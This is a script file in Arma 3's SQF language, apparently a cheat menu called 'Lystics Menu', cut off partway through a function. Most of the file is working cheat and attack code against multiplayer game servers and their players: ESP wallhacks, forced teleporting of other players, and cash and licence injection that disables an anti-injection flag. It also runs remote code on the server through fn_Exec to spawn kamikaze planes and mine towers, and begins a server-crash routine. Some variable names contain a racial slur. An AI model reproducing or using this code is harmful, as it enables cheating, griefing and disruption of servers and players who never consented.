- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_InvisTarget = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _object = _this select 0;
- _hide = _this select 1;
- _object hideObjectGlobal _hide;
- };
- };
- [_code,false] call fn_Exec;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + "_player = objnull; {if(name _x == '" + name player + "') then {_player = _x;};} forEach allUnits; [_player," + str s_invis_t + "] spawn LY_InvisTarget;");
- [_code,false] call fn_Exec;
- };
- s_tphere = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target_says_peter = call fn_getSelected;
- {
- if(name _x == _target_says_peter) then {
- _pos = getPos _X;
- _pos = [_pos select 0, _pos select 1, -100];
- _aim_peterSays = (vehicle _x);
- if (true) then
- {
- _aim_peterSays setPosASL _pos;
- };
- _pos = getPos vehicle player;
- _dir = getDir vehicle player;
- if (player != vehicle player) then
- {
- _pos = [(_pos select 0)+8*sin(_dir),(_pos select 1)+8*cos(_dir),(_pos select 2)+1];
- }
- else
- {
- _pos = [(_pos select 0)+2*sin(_dir),(_pos select 1)+2*cos(_dir),(_pos select 2)+1];
- };
- if (true) then
- {
- _aim_peterSays setPosASL _pos;
- };
- };
- } forEach allUnits;
- };
- s_tpthere = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _target_peter_cus = call fn_getSelected;
- {
- if(name _x == _target_peter_cus) then {
- _pos = getPos player;
- _pos = [_pos select 0, _pos select 1, -100];
- _aim_cause_pete_saysSO_cus = (vehicle player);
- if (true) then
- {
- _aim_cause_pete_saysSO_cus setPosASL _pos;
- };
- _pos = getPos vehicle _x;
- _dir_of_the_nigger_cus = getDir vehicle _x;
- if (_x != vehicle _x) then
- {
- _pos = [(_pos select 0)-8*sin(_dir_of_the_nigger_cus),(_pos select 1)-8*cos(_dir_of_the_nigger_cus),(_pos select 2)+1];
- }
- else
- {
- _pos = [(_pos select 0)-2*sin(_dir_of_the_nigger_cus),(_pos select 1)-2*cos(_dir_of_the_nigger_cus),(_pos select 2)+1];
- };
- if (true) then
- {
- _aim_cause_pete_saysSO_cus setPosASL _pos;
- _aim_cause_pete_saysSO_cus setDir _dir_of_the_nigger_cus;
- };
- };
- } forEach allUnits;
- };
- s_esp = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(s_esp_t) then {
- addMissionEventHandler ["Draw3D",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- {
- if((isPlayer _x) && ((side _x) == (side player)) && ((player distance _x) < 700) && (getplayeruid _x != "")) then {
- _pos = getposatl _x;
- _eyepos = ASLtoATL eyepos _x;
- if((getTerrainHeightASL [_pos select 0,_pos select 1]) < 0) then {
- _eyepos = eyepos _x;
- _pos = getposasl _x;
- };
- _1 = _x modelToWorld [-0.5,0,0];
- _2 = _x modelToWorld [0.5,0,0];
- _3 = _x modelToWorld [-0.5,0,0];
- _4 = _x modelToWorld [0.5,0,0];
- _1 set [2,_pos select 2];
- _2 set [2,_pos select 2];
- _3 set [2,(_eyepos select 2)+0.25];
- _4 set [2,(_eyepos select 2)+0.25];
- _HP = (damage _x - 1) * -100;
- _fontsize = 0.02;
- _eyepos set [2,(_3 select 2) - 0.1];
- drawIcon3D["",[0,1,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
- drawLine3D[_1,_2,[0,1,0,1]];
- drawLine3D[_2,_4,[0,1,0,1]];
- drawLine3D[_4,_3,[0,1,0,1]];
- drawLine3D[_3,_1,[0,1,0,1]];
- };
- if((isPlayer _x) && ((side _x) != (side player)) && ((player distance _x) < 1400) && (getplayeruid _x != "")) then {
- _pos = getposatl _x;
- _eyepos = ASLtoATL eyepos _x;
- _1 = _x modelToWorld [-0.5,0,0];
- _2 = _x modelToWorld [0.5,0,0];
- _3 = _x modelToWorld [-0.5,0,0];
- _4 = _x modelToWorld [0.5,0,0];
- _1 set [2,_pos select 2];
- _2 set [2,_pos select 2];
- _3 set [2,(_eyepos select 2)+0.25];
- _4 set [2,(_eyepos select 2)+0.25];
- _HP = (damage _x - 1) * -100;
- _fontsize = 0.02;
- _eyepos set [2,(_3 select 2) - 0.1];
- drawIcon3D["",[1,0,0,1],_eyepos,0.1,0.1,45,format["%1(%2m) - %3HP",name _x,round(player distance _x),round(_HP)],1,_fontsize,'EtelkaNarrowMediumPro'];
- drawLine3D[_1,_2,[1,0,0,1]];
- drawLine3D[_2,_4,[1,0,0,1]];
- drawLine3D[_4,_3,[1,0,0,1]];
- drawLine3D[_3,_1,[1,0,0,1]];
- };
- } forEach allUnits;
- }];
- } else {
- removeAllMissionEventHandlers "Draw3D";
- };
- };
- s_lowt = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if (s_lowt_t) then {
- setTerrainGrid 50;
- hint "Terrain Low";
- cutText [format["Terrain Low"], "PLAIN DOWN"];
- } else {
- setTerrainGrid 12.5;
- hint "Terrain Normal";
- cutText [format["Terrain Normal"], "PLAIN DOWN"];
- };
- };
- s_noclip = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(s_noclip_t) then {
- hint "No Clip ON";
- _clipList = [];
- while{s_noclip_t} do {
- _objects = ((position player) nearObjects 100);
- {
- if !(_x in _clipList) then {
- _clipList = _clipList + [_x];
- player disableCollisionWith _x;
- };
- } forEach _objects;
- {
- if !(_x in _objects) then {
- _clipList = _clipList - [_x];
- player enableCollisionWith _x;
- };
- } forEach _clipList;
- };
- {
- player enableCollisionWith _x;
- } forEach _clipList;
- } else {
- hint "No Clip OFF";
- };
- };
- s_fly = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_ = 5;
- LY_leftAndRight = 2;
- LY_upAndDown = 6;
- LY_distanceFromGround = 1;
- LY_hovering = false;
- LY_hoverPos = nil;
- LY_ZVeh = 0.072;
- LY_BelieveIcanFly = s_fly_t;
- LY_move_forward = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- _dir = direction _vehicle;
- _speed = 0.4;
- comment "Added speed";
- _vehicle setVelocity[(_vel select 0) + (sin _dir * _speed), (_vel select 1) +
- (cos _dir * _speed), 0.4];
- };
- };
- LY_move_left = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _leftDirection = getdir(vehicle player);
- (vehicle player) setdir(_leftDirection) - LY_leftAndRight;
- };
- };
- LY_move_backward = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- _dir = direction _vehicle;
- _speed = -0.4;
- comment "Added speed";
- _vehicle setVelocity[(_vel select 0) + (sin _dir * _speed), (_vel select 1) +
- (cos _dir * _speed), 0.4];
- };
- };
- LY_move_right = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _rightDirection = getdir(vehicle player);
- (vehicle player) setdir(_rightDirection) + LY_leftAndRight;
- player setVariable["lastPos", 1];
- player setVariable["lastPos", []];
- };
- };
- LY_move_up = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- LY_ZVeh = 4;
- _vehicle setVelocity[(_vel select 0), (_vel select 1), 4];
- };
- LY_move_up_up = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_ZVeh = 0.072;
- };
- LY_move_down = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if ((getPosATL(vehicle player) select 2) > LY_distanceFromGround) then {
- _vehicle = (vehicle player);
- _vel = velocity _vehicle;
- LY_ZVeh = -4;
- _vehicle setVelocity[(_vel select 0), (_vel select 1), -4];
- };
- };
- LY_move_down_up = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_ZVeh = 0.072;
- };
- toggle_hover = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- LY_hovering = !LY_hovering;
- if (LY_hovering) then {
- titleText["Now Hovering!", "PLAIN DOWN"];
- titleFadeOut 4;
- LY_hoverPos = getPosATL(vehicle player);
- } else {
- titleText["No longer Hovering!", "PLAIN DOWN"];
- titleFadeOut 4;
- };
- };
- if (LY_BelieveIcanFly) then {
- hint "Fly Mode ON";
- titleText["Press 'spacebar' to toggle hover.", "PLAIN DOWN"];
- titleFadeOut 4;
- LY_BelieveIcanFly = true;
- LY_keyForward = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 17) then {call LY_move_forward;}"];
- LY_keyLeft = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 30) then {call LY_move_left;}"];
- LY_keyBackward = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 31) then {call LY_move_backward;}"];
- LY_keyRight = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 32) then {call LY_move_right;}"];
- LY_keyUp = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 16) then {call LY_move_up;}"];
- LY_keyDown = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 44) then {call LY_move_down;}"];
- LY_keyUpUp = (findDisplay 46) displayAddEventHandler["KeyUp", "if ((_this select 1) == 16) then {call LY_move_up_up;}"];
- LY_keyDownUp = (findDisplay 46) displayAddEventHandler["KeyUp", "if ((_this select 1) == 44) then {call LY_move_down_up;}"];
- LY_keyHover = (findDisplay 46) displayAddEventHandler["KeyDown", "if ((_this select 1) == 57) then {call toggle_hover;}"];
- } else {
- hint "Fly Mode OFF";
- titleText["Going Down!", "PLAIN DOWN"];
- titleFadeOut 4;
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyForward];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyLeft];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyBackward];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyRight];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyUp];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyDown];
- (findDisplay 46) displayRemoveEventHandler["KeyDown", LY_keyHover];
- (finddisplay 46) displayRemoveEventHandler["KeyUp", LY_keyUpUp];
- (finddisplay 46) displayRemoveEventHandler["KeyUp", LY_keyDownUp];
- };
- while {
- LY_BelieveIcanFly
- }
- do {
- _velocity = velocity (vehicle player);
- if (LY_hovering) then {
- (vehicle player) setvelocity[0, 0, 0.2];
- } else {
- _velocity set [2,LY_ZVeh];
- (vehicle player) setVelocity _velocity;
- };
- };
- };
- s_cash100k = {
- if(!isNil "life_no_injection") then {life_no_injection = true;};
- setcash = true;
- if(isNil "cash_var") then {cash_var = "swag";};
- if(cash_var == "swag") then {
- _search = preprocessfilelinenumbers "core\configuration.sqf";
- _words = [_search," "] call BIS_fnc_splitString;
- _index = _words find "west:";
- if(_index != -1) then {
- _varIndex = _index + 1;
- _varTemp = _words select _varIndex;
- _varTemp = toLower(_varTemp);
- _low = (toArray("a") select 0);
- _high = (toArray("z") select 0);
- _allowedLetters = toArray("_1234567890");
- _newArray = [];
- _oldArray = toArray(_varTemp);
- for "_i" from 0 to count(_oldArray)-1 do {
- _val = _oldArray select _i;
- if((_val >= _low && _val <= _high) || (_val in _allowedLetters)) then {
- _newArray set[count(_newArray),_val];
- }
- };
- cash_var = toString _newArray;
- } else {
- setcash = false;
- };
- };
- if(!setcash) exitWith {hint "failed to find life cash variable! Sorry :(";};
- call compile format["%1 = %1 + 100000;",cash_var];
- hint "Money Added :P";
- if(!isNil "life_no_injection") then {life_no_injection = false;};
- };
- s_licenses = {
- {missionnamespace setVariable[(_x select 0),true];} foreach life_licenses;
- ["TaskSucceeded",["","Liscenses Added"]] call bis_fnc_showNotification;
- };
- s_spectate = {
- _name = call fn_getSelected;;
- {
- if(name _x == _name) then
- {
- _x switchCamera "EXTERNAL";
- hint format ["Spectating %1, press F10 to cancel", name _x];
- };
- } forEach allUnits;
- (findDisplay 46) displayAddEventHandler ['KeyDown', ' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};if ((_this select 1) == 0x44) then
- {
- player switchCamera "EXTERNAL";
- }'];
- };
- s_bexplode = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if (s_bexplode_t) then
- {
- vehicle player removeAllEventHandlers "Fired";
- cutText [" \nBig Fuckin Bullets Loaded..","PLAIN"];
- vehicle player addeventhandler ["Fired",{call BigFuckinBullets_Peter_cus} ];
- BigFuckinBullets_Peter_cus =
- {
- if (isNull cursorTarget) then
- {
- TargetPlayer_peter_cus = screenToWorld [0.5,0.5];
- }
- else
- {
- TargetPlayer_peter_cus = getpos cursorTarget;
- };
- call compile (" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};_spwnboom_cus = ""Helicopter" + "ExploBig"" createVe" + "hiclelocal TargetPlayer_peter_cus");
- };
- }
- else
- {
- cutText [" \nBack to Normal Bullets..","PLAIN"];
- vehicle player removeAllEventHandlers "Fired";
- };
- };
- s_abullets = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if (s_abullets_t) then
- {
- vehicle player removeAllEventHandlers "Fired";
- cutText [" \nAnimal Bullets Loaded..","PLAIN"];
- vehicle player addeventhandler ["Fired",{call AnimalBullets_Peter_cus} ];
- AnimalBullets_Peter_cus =
- {
- _bullet = _this select 6;
- if(!isNull _bullet) then {
- _animal = createAgent["Sheep_random_F",[0,0,0],[],0,"NONE"];
- _animal setDir (getdir _bullet);
- _animal setvectorUp (vectorup _bullet);
- _animal setposatl (getposatl _bullet);
- _animal setVelocity (velocity _bullet);
- };
- };
- }
- else
- {
- cutText [" \nBack to Normal Bullets..","PLAIN"];
- vehicle player removeAllEventHandlers "Fired";
- };
- };
- s_tbullets = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(s_tbullets_t) then {
- hint "Tracers Activated";
- [player,5,true] call fn_drawTracer;
- } else {
- hint "Tracers Removed";
- [player,0,true] call fn_drawTracer;
- };
- };
- s_drawmap = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- disableserialization;
- _display = findDisplay 12;
- _ctrl = _display displayCtrl 51;
- if(s_drawmap_t) then {
- hint 'Click the map to draw with markers!';
- _ctrl ctrlAddEventHandler["MouseButtonDown",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _key = _this select 1;
- if(_key == 0) then {
- s_drawmap_keydown = true;
- };
- }];
- _ctrl ctrlAddEventHandler["MouseButtonUp",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _key = _this select 1;
- if(_key == 0) then {
- s_drawmap_keydown = false;
- };
- }];
- _ctrl ctrlAddEventHandler["MouseMoving",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(s_drawmap_keydown) then {
- _map = _this select 0;
- _x = _this select 1;
- _y = _this select 2;
- _worldPos = _map ctrlMapScreenToWorld [_x,_y];
- _name = str(random(1000000)) + "_swag";
- _mark = createMarker [_name,_worldPos];
- _mark setMarkerType "waypoint";
- _mark setMarkerPos _worldPos;
- _mark setMarkerSize [0.75,0.75];
- _mark setMarkerColor "ColorBlue";
- };
- }];
- } else {
- hint 'Map Drawing OFF';
- _ctrl ctrlRemoveAllEventHandlers "MouseButtonUp";
- _ctrl ctrlRemoveAllEventHandlers "MouseMoving";
- _ctrl ctrlRemoveAllEventHandlers "MouseButtonDown";
- };
- };
- s_dsquad = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _unit = "Rabbit_F";
- switch(side player) do {
- case west: {_unit = "B_Soldier_02_f";};
- case east: {_unit = "O_G_Soldier_F";};
- case independent: {_unit = "I_G_Soldier_F";};
- case civilian: {_unit = "B_Soldier_02_f";};
- };
- _one = (group player) createUnit [_unit,position player,[],0,"NONE"];
- _two = (group player) createUnit [_unit,position player,[],0,"NONE"];
- _three = (group player) createUnit [_unit,position player,[],0,"NONE"];
- _four = (group player) createUnit [_unit,position player,[],0,"NONE"];
- {
- _x setSkill ["aimingAccuracy",1];
- _x setSkill ["aimingShake",1];
- _x setSkill ["aimingSpeed",1];
- _x setSkill ["endurance",1];
- _x setSkill ["spotDistance",1];
- _x setSkill ["spotTime",1];
- _x setSkill ["courage",1];
- _x setSkill ["reloadSpeed",1];
- _x setSkill ["commanding",1];
- _x setSkill ["general",1];
- _x doFollow player;
- _x allowDamage false;
- _x addEventHandler ["HandleDamage",{false}];
- } forEach [_one,_two,_three,_four];
- (group player) setBehaviour "AWARE";
- (group player) setCombatMode "YELLOW";
- (group player) enableAttack true;
- player addEventHandler ["FiredNear",{
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _firer = _this select 1;
- if((group _firer) != (group player)) then {
- _units = (units (group player)) - [player];
- {
- _x doFire _firer;
- _x setVehicleAmmo 1;
- } forEach _units;
- };
- }];
- hint 'Your defense squad is here!';
- };
- s_hackbox = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- hint 'Loading HackBox-2000...';
- _dir = getdir vehicle player;
- _pos = getPos vehicle player;
- _pos = [(_pos select 0)+1.5*sin(_dir),(_pos select 1)+1.5*cos(_dir),0];
- _box_cus = "box_NATO_AMMO_F" createVehicleLocal _pos;
- clearWeaponCargo _box_cus;
- clearMagazineCargo _box_cus;
- clearItemCargo _box_cus;
- clearBackpackCargo _box_cus;
- _cfgweapons = configFile >> "CfgWeapons";
- _weapons = [];
- for "_i" from 0 to (count _cfgWeapons)-1 do
- {
- _cur_wep_cus = _cfgweapons select _i;
- if(isClass _cur_wep_cus) then
- {
- _classname_cus = configName _cur_wep_cus;
- _wep_type = getNumber(_cur_wep_cus >> "type");
- _scope_o_it = getNumber(_cur_wep_cus >> "scope");
- _cusicture = getText(_cur_wep_cus >> "picture");
- if(_scope_o_it >= 2 && _wep_type in [1,2,4,4096] && _cusicture != "" && !(_classname_cus in _weapons) && _classname_cus != "NVGoggles") then
- {
- _weapons set[count _weapons, _classname_cus];
- };
- };
- };
- _cfgweapons = configFile >> "CfgMagazines";
- _magazines = [];
- for "_i" from 0 to (count _cfgWeapons)-1 do
- {
- _cur_wep_cus = _cfgweapons select _i;
- if(isClass _cur_wep_cus) then
- {
- _classname_cus = configName _cur_wep_cus;
- _scope_o_it = getNumber(_cur_wep_cus >> "scope");
- _cusicture = getText(_cur_wep_cus >> "picture");
- if(_scope_o_it >= 2 && _cusicture != "" && !(_classname_cus in _magazines)) then
- {
- _magazines set[count _magazines, _classname_cus];
- };
- };
- };
- { _box_cus addWeaponCargo [_x,5]; } foreach _weapons;
- { _box_cus addMagazineCargo [_x,15]; }foreach _magazines;
- _cfgweapons = configFile >> "CfgWeapons";
- _items = [];
- for "_i" from 0 to (count _cfgWeapons)-1 do
- {
- _cur_wep_cus = _cfgweapons select _i;
- if(isClass _cur_wep_cus) then
- {
- _classname_cus = configName _cur_wep_cus;
- _wep_type = getNumber(_cur_wep_cus >> "type");
- _scope_o_it = getNumber(_cur_wep_cus >> "scope");
- _cusicture = getText(_cur_wep_cus >> "picture");
- if(_scope_o_it >= 2 && _wep_type in [131072,4096] && _cusicture != "" && !(_classname_cus in _items) && _classname_cus != "Binocular") then
- {
- _items set[count _items, _classname_cus];
- };
- };
- };
- { _box_cus addItemCargo [_x,10]; } foreach _items;
- _cfgweapons = configFile >> "CfgVehicles";
- _backpacks_cus = [];
- for "_i" from 0 to (count _cfgWeapons)-1 do
- {
- _cur_wep_cus = _cfgweapons select _i;
- if(isClass _cur_wep_cus) then
- {
- _classname_cus = configName _cur_wep_cus;
- _wep_type = getText(_cur_wep_cus >> "vehicleClass");
- _scope_o_it = getNumber(_cur_wep_cus >> "scope");
- _cusicture = getText(_cur_wep_cus >> "picture");
- if(_scope_o_it >= 2 && _wep_type == "Backpacks" && _cusicture != "" && !(_classname_cus in _backpacks_cus)) then
- {
- _backpacks_cus set[count _backpacks_cus, _classname_cus];
- };
- };
- };
- { _box_cus addBackPackCargo [_x,5]; } foreach _backpacks_cus;
- hint 'Your HackBox-2000 Has Arrived!';
- };
- S_DoMorph = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _agent = createAgent[_this select 0,getposatl player,[],0,"NONE"];
- [_agent] joinSilent (group player);
- _oldPlayer = player;
- setPlayable _agent;
- selectPlayer _agent;
- _oldPlayer disableAI "MOVE";
- _oldPlayer disableAI "ANIM";
- _oldPlayer disableAI "FSM";
- systemchat "Lystics Menu -> Morph Success!";
- };
- s_morph = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _morphArray = [
- ["Human","C_man_1"],
- ["Dog 1","Fin_sand_F"],
- ["Dog 2","Fin_blackwhite_F"],
- ["Dog 3","Fin_ocherwhite_F"],
- ["Dog 4","Fin_tricolour_F"],
- ["Dog 5","Alsatian_Sand_F"],
- ["Dog 6","Alsatian_Black_F"],
- ["Dog 7","Alsatian_Sandblack_F"],
- ["Goat 1","Goat_random_F"],
- ["Sheep 1","Sheep_random_F"],
- ["Rabbit 1","Rabbit_F"],
- ["Hen 1","Hen_random_F"],
- ["Cock 1","Cock_random_F"],
- ["Snake 1","Snake_random_F"],
- ["Turtle 1","Turtle_F"]
- ];
- BIS_Menu_GroupCommunication = [["Lystics Private v1",true]];
- {
- _text = _x select 0;
- _obj = _x select 1;
- _arr = [_text,[0],"",-5,[["expression",format["['%1'] spawn S_DoMorph",_obj]]], "1", "1" ];
- BIS_Menu_GroupCommunication set[count(BIS_Menu_GroupCommunication),_arr];
- } forEach _morphArray;
- showCommandingMenu "#User:BIS_Menu_GroupCommunication";
- };
- s_deforest = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- if(s_deforest_t) then {hint 'Fuck Trees!\n\n Am-I-Right?';} else {hint 'Deforestation - OFF';};
- while{s_deforest_t} do {
- _allNonClassObjects = (nearestObjects [getposatl player,[],20]) - (nearestObjects [getposatl player,["all"],20]);
- {
- if(damage _x < 1) then {
- _text = str _x;
- _isTree = ["t_",_text] call BIS_fnc_inString;
- _isBush = ["b_",_text] call BIS_fnc_inString;
- _isBushW = ["bw_",_text] call BIS_fnc_inString;
- if(_isTree || _isBushW || _isBush) then {
- _x setDamage 1;
- };
- };
- } forEach _allNonClassObjects;
- };
- };
- s_trollppl = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- s_trollfunction = {
- for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["B_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
- for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["O_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
- for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["I_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
- for "_i" from 5 to 100 step 5 do {_grp = createGroup west; unit = _grp createUnit ["C_Soldier_VR_F", _pos, [], 100, "FORM"] ; [unit] join _grp ; unit move _pos ;};
- hint "lel";
- };
- execMapFunc = true;
- mapFunc = "s_trollfunction";
- hint 'open map and click where to place the trollers!';
- };
- s_remextest = {
- [{hint 'RE working!';},player] call fn_Exec;
- };
- s_kamikazi = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- kamakazi_lystic = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- call compile ('
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- kamakazi_server = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _number = _this select 0;
- _pos = _this select 1;
- _entity = "I_Plane_Fighter_03_AA_F";
- _obj = _entity create' + 'Vehicle _pos;
- _pos = _obj model' + 'ToWorld [0,0,400];
- for "_i" from 0 to _number do{
- _pos set[0, (_pos select 0)+ (random (50)-25)];
- _pos set[1, (_pos select 1)+ (random (50)-25)];
- _obj = _entity creat' + 'eVehicle [0,0,0];
- _obj setPo' + 's _pos;
- _obj setV' + 'elocity [random(150)-75,random(150)-75,0];
- sleep 0.25;
- };
- };
- ');
- };
- [_code,false] call fn_Exec;
- uisleep 1;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + str [50,_this] + " spawn kamakazi_server;");
- [_code,false] call fn_Exec;
- hint 'Kamakazi!';
- };
- s_kamikazifunc = {_pos spawn kamakazi_lystic;false};
- execMapFunc = true;
- mapFunc = "s_kamikazifunc";
- };
- s_rocket = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- svr_rocket = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _pos = _this;
- _code = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- server_createRocket = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _pos = _this;
- _X = _pos select 0;
- _Y = _pos select 1;
- _tH = getTerrainHeightASL [_X,_Y];
- _nH = 0;
- _unit = createAgent ["O_Soldier_F", [_X,_Y,_nH+5], [], 0, "NONE"];
- hideObjectGlobal _unit;
- _ship1 = createVehicle ["Land_Lighthouse_F", [_X,_Y,_nH+5],[],0,"CAN_COLLIDE"];
- _ship1 allowDamage false;
- _ship1 attachTo [_unit,[0,3.25,10]];
- _unit allowDamage false;
- _unit setPosASL [_X,_Y,_tH];
- [_unit,_X,_Y] spawn {
- sleep 2;
- runcode = { _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName}; {hint "We Have liftoff!";} spawn BIS_fnc_Spawn; };
- publicVariable "runcode";
- skip = 0;
- _X = _this select 1;
- _Y = _this select 2;
- while{true} do {
- (_this select 0) setVelocity [0,0,15];
- if(skip % 3 == 0) then {
- _Z = (getposasl (_this select 0)) select 2;
- (_this select 0) setPosASL [_X,_Y,_Z];
- };
- };
- };
- [_X,_Y,_tH] spawn {
- _X = _this select 0;
- _Y = _this select 1;
- _tH = _this select 2;
- for "_i" from 0 to 1000 do {
- _nH = 0.3*_i + _tH;
- _object = createMine ["APERSMine",[_X,_Y,_nH],[],0];
- _object setPosASL [_X,_Y,_nH];
- _object setvectorup [0,0,1];
- };
- };
- };
- };
- _client = {_fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};"runcode" addPublicVariableEventhandler {[] spawn (_this select 1);};};
- [_client,true] call fn_Exec;
- [_code,false] call fn_Exec;
- sleep 2;
- _code = (' _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};' + (str _pos) + " spawn server_createRocket;");
- [_code,false] call fn_Exec;
- };
- s_rocketfunc = {_pos spawn svr_rocket;false};
- execMapFunc = true;
- mapFunc = "s_rocketfunc";
- };
- s_crashserver = {
- _fnc_scriptName = if (isnil "_fnc_scriptName") then {"Functions Init"} else {_fnc_scriptName};
- _Code = format[" _fnc_scriptName = if (isnil ""_fnc_scriptName"") then {""Functions Init""} else {_fnc_scriptName};
- if(isServer) then {
- _pos = [1894,2520,100];
- _col = 179;
- _row = 182;
- _first_notactually = _pos select 0;
- _second_notactually = _pos select 1;
- _third_notactually = _pos select 2;
- _doesnt_do_anything = _pos select 0;
- _setsecond_wat = _pos select 1;
- _why_is_this_here_evn_lol = _pos select 2;
- _pos2_peter = [_first_notactually, _second_notactually, _third_notactually];
- for '_i' from 1 to _col do {
- _second_notactually = _setsecond_wat;
- _pos2_peter = [_first_notactually, _second_notactually, _third_notactually];
- for '_j' from 1 to _row do {
